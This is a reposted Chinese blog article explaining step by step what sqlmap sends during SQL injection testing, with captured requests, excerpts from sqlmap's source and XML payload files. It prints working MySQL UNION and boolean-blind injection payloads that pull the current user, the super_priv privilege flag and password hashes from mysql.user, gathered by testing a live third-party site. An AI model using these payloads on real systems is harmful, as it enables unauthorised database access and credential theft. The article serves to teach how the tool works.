SQLmap在進行SQL注入時的整個流程

文章轉自信安之路,作者:sher10ck

很多小夥伴在發現或者判斷出注入的時候,大多數選擇就是直接上 sqlmap,結果往往也不盡人意,於是就有想法來寫寫 sqlmap 從執行到判斷注入,到底發生了什麼?

本文就用我們看的見的角度來分析,看看 sqlmap 到底發送了什麼 payload,這些 payload 是怎麼出來的,不深入代碼層面。

技術有限,若有錯誤指出來,感激不盡。

測試環境

sqlmap(1.3.6.58#dev)

Burp Suite

http://attack.com?1.php?id=1

測試方法

利用 sqlmap 的 proxy 參數,我們將代理設置爲 8080 端口用 burpsuite 進行抓包。

sqlmap.py -u "http://attack.com?1.php?id=1" --proxy="http://127.0.0.1:8080"

(測試了很久好像本地搭建的環境無法抓包,所以就找了有注入點的網站,漏洞已上報給漏洞平臺)

抓取到的包如下:

在這裏插入圖片描述

sqlmap的準備工作

我們也觀察到,sqlmap 默認發送的 User-Agent 是這樣的:

User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)

所以爲了避免被 waf 或者日誌裏面記錄,我們一般可以添加一個 --random-agent 參數在後面。

首先我們的 sqlmap 會連續發送出很多數據包來檢測目標網站是否穩定:

GET /xxxx.php?id=1 HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable

接下來會檢測是否爲 dynamic,和上面的請求包相比,sqlmap 修改了 id 後面的值

GET /xxxx.php?id=2324 HTTP/1.1
Host: www.xxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

[INFO] testing if GET parameter 'id' is dynamic

看不懂這是什麼騷操作,我們來看看源碼裏面怎麼說 (sqlmap\lib\controller\checks.py)

def checkDynParam(place, parameter, value):
    """
    This function checks if the URL parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

根據輸出語句的關鍵詞查找,我追蹤到了這個 checkDynParam 函數,大概的作用就是修改我們現在獲取到的參數值,看修改前後的頁面返回是否相同(有的時候注入有多個參數,那麼有些無關緊要的參數修改後頁面是沒有變化的),若有變化(或者說這個參數是真實有效的),sqlmap 纔會走到下一步。
下一步的數據包和功能如下:

GET /xxxx.php?id=1%27.%29%2C%2C.%28.%29%22 HTTP/1.1
Host: www.xxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

我們將上面的 url 編碼解碼:

/xxxx.php?id=1%27.%29%2C%2C.%28.%29%22
/xxxx.php?id=1'.),,.(.)"

這幾個字符串就能判斷是 Mysql 數據庫?又是什麼騷操作,再看看源碼吧 (sqlmap\lib\controller\ckecks.py):

infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()

找到了一條語句,跟蹤這個 getErrorParsedDBMSes() 函數

def getErrorParsedDBMSes():
        """
        Parses the knowledge base htmlFp list and return its values
        formatted as a human readable string.

        @return: list of possible back-end DBMS based upon error messages
        parsing.
        @rtype: C{str}
        """

那麼這個函數就是通過報錯信息(就是上面的 payload) 來辨別數據庫的類型,剛好我找的這個網站也是爆出了 Mysql 語句的錯誤,然後就通過正則 (sqlmap/data/xml/errors.xml) 識別出來啦,篇幅原因源碼就不分析了。

SQLmap的注入分析

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] Y

上面 sqlmap 已經得到了數據庫的類型並且參數也是有效的,接下來往下走 sqlmap 就開始判斷注入了(這裏直接用-v3 參數顯示 payload 更加的清晰)。

這一塊也是大家最需要搞清楚的一部分,很多小夥伴看着感覺有注入,哎,上 sqlmap,然後基本上一片紅,但是實際上,按照 sqlmap 對注入的分類,我們可以更加清晰的瞭解 sqlmap 到底做了什麼,這些東西是從哪裏出來。

首先要說一下,sqlmap 有一個 —technique 參數,在運行的整個過程中,也是按照這幾類來檢測的:

--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基於時間延遲注入)
Q: inline_query SQL injection(內聯注入)

對這幾種注入還不熟練於心的小夥伴們要好好補一下基礎

那麼這些主要的注入語句,我們可以在 sqlmap/data/xml/queries.xml 中查看了解,總結的還是挺全面的,這裏截取一部分出來。

<dbms value="MySQL">
        <cast query="CAST(%s AS CHAR)"/>
        <length query="CHAR_LENGTH(%s)"/>
        <isnull query="IFNULL(%s,' ')"/>
        <delimiter query=","/>
        <limit query="LIMIT %d,%d"/>
        <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
        <limitgroupstart query="1"/>
        <limitgroupstop query="2"/>
        <limitstring query=" LIMIT "/>
        <order query="ORDER BY %s ASC"/>
        <count query="COUNT(%s)"/>
        <comment query="-- -" query2="/*" query3="#"/>
        <substring query="MID((%s),%d,%d)"/>
        <concatenate query="CONCAT(%s,%s)"/>
        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
        <hex query="HEX(%s)"/>
        <inference query="ORD(MID((%s),%d,1))>%d"/>
        <banner query="VERSION()"/>
        <current_user query="CURRENT_USER()"/>
        <current_db query="DATABASE()"/>
        <hostname query="@@HOSTNAME"/>
......
......
......

對於每種類型的注入語句需要如何組合,在 sqlmap/data/xml/payloads 下有六個文件,裏面主要是定義了測試的名稱(也就是我們控制檯中輸出的內容)、風險等級、一些 payload 的位置等,瞭解一下就行了

  <test>
        <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
        <stype>6</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,4,5</clause>
        <where>1</where>
        <vector>[UNION]</vector>
        <request>
            <payload/>
            <comment>[GENERIC_SQL_COMMENT]</comment>
            <char>[CHAR]</char>
            <columns>[COLSTART]-[COLSTOP]</columns>
        </request>
        <response>
            <union/>
        </response>
    </test>

同目錄下還有一個 boundaries.xml 文件,裏面主要是定義了一些閉合的符號,比方說我們注入點需要閉合,添加單引號、雙引號、括號等一系列的組合方式,就是從這個文件當中提取出來的。

 <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>'))</prefix>
        <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

所以梳理一下思路,我們最終會發送給目標服務器的 payload,首先是需要閉合的 (boundaries.xml),然後從對應的注入類型的各種測試模板中提取相應的參數(比如:boolean_blind.xml),然後在 queries.xml 中取出相應的表達式,最後通過 tamper 的渲染,輸出我們最終的 payload,也就是我們的 -v3 參數。

SQLmap的一些參數

我們主要分析以下兩個命令:

--is-dba
--passwords

命令主要是判斷 mysql 用戶的一些信息,當我們發現注入可以利用的時候,下一步就是要看當前用戶的權限看能有什麼的操作了。

判斷是否是dba權限

sqlmap 一共發了兩個請求包:

GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache


GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

將 payload 解碼:

/xxxx.php?id=-2478 UNION ALL SELECT NULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0xxxxx),NULL,NULL-- HZdP

/xxxx.php?id=-6628 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178787871,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x7170627071)-- mOPV

我們直接在 mysql 控制檯下執行命令:
在這裏插入圖片描述
第一個命令返回了用戶名, 0x71766a6271 解碼爲 qvjbq,那麼這一步我們可以提取出用戶名了。

第二個命令返回了 1 ,我們將查詢命令提取出來

SELECT super_priv FROM mysql.user WHERE user=0xxxxx LIMIT 0,1

在 mysql 數據庫下的 user 表中查詢 super_priv (超級權限)的值:
在這裏插入圖片描述
返回了 Y,所以我們判斷是否爲 dba 的思路就是通過查看 mysql.user 下 super_priv 的值。
這個命令有一個坑,有的時候我們所注入的服務器上面並沒有 mysql 這個數據庫,所以用這個命令的前提是 mysql 這個數據庫要存在。

查詢密碼

抓的包:

GET /xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48 HTTP/1.1
Host: www.xxxx.xxx
Accept: */*
User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

解碼:

/xxxx.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(authentication_string)) AS CHAR),0x20) FROM mysql.user WHERE user=0xxxxx),1,1))>48

這裏有個很有趣的地方,我的 sqlmap 是 1.3.6 的版本,不知道之前的是不是,他是從 mysql.user 中獲取 authentication_string 的值,但是很有趣的是,這個值只有在 mysql 版本 5.7 以上,password 纔會變成 authentication_string,我們也可以從 queries.xml 中找到這條語句:

<passwords>
            <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
            <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
</passwords>

發現默認就是這個 authentication_string,所以我們這裏直接修改 queries.xml 中的語句,將查詢的列明改成 password 再測試一下。

後面測試發現,我們在沒有修改的情況下,sqlmap 也會跑出密碼,而且查看 payload 之後,sqlmap 先是查了 authentication_string,然後查了 password:

在這裏插入圖片描述
看下源碼,然後找到了( sqlmap/plugins/generic/users.py):

values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)

這裏用 replace 將兩個列明進行了替換,裏面有個 ifel 的語句,要是第一次沒找到就會進行替換,這樣我們的問題就解決掉啦,sqlmap 還是想的挺周全的哈哈。

總結

sqlmap 裏面的內容實在是太多太多,想要摸索裏面的內容需要花費大量的時間,當然收穫也是成正比的,搞清楚sqlmap 的流程原理,對我們 sql 注入技術會有很大的提升。

推薦閱讀
https://www.anquanke.com/subject/id/160641
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章